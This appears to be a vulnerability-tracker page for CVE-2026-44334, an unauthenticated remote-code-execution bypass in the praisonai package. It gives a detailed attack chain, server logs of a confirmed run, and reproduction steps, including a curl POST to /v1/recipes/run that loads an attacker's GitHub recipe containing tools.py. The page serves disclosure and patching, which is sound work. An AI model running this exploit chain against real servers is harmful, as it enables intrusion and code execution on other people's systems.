## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every...
Full CISO analysis pending enrichment.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| praisonai | pip | >= 4.5.139, <= 4.6.31 | 4.6.32 |
Do you use praisonai? You're affected.
Severity & Risk
Attack Surface
Recommended Action
Patch available
Update praisonai to version 4.6.32
Compliance Impact
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is CVE-2026-44334?
PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
Is CVE-2026-44334 actively exploited?
No confirmed active exploitation of CVE-2026-44334 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44334?
Update to patched version: praisonai 4.6.32.
What is the CVSS score for CVE-2026-44334?
CVE-2026-44334 has a CVSS v3.1 base score of 8.4 (HIGH).
Technical Details
NVD Description
## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. ## Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched: ```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ``` `load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution. ## Attack chain ``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. ## Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. ## Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: - [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' # Terminal 1 python server.py # Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. ## Reproduction (remote GitHub variant) ```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 Analysis pending
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai GHSA-2763-cj5r-c79m 9.7 PraisonAI: RCE via shell injection in agent workflows
Same package: praisonai CVE-2026-40154 9.3 PraisonAI: supply chain RCE via unverified template exec
Same package: praisonai
AI Threat Alert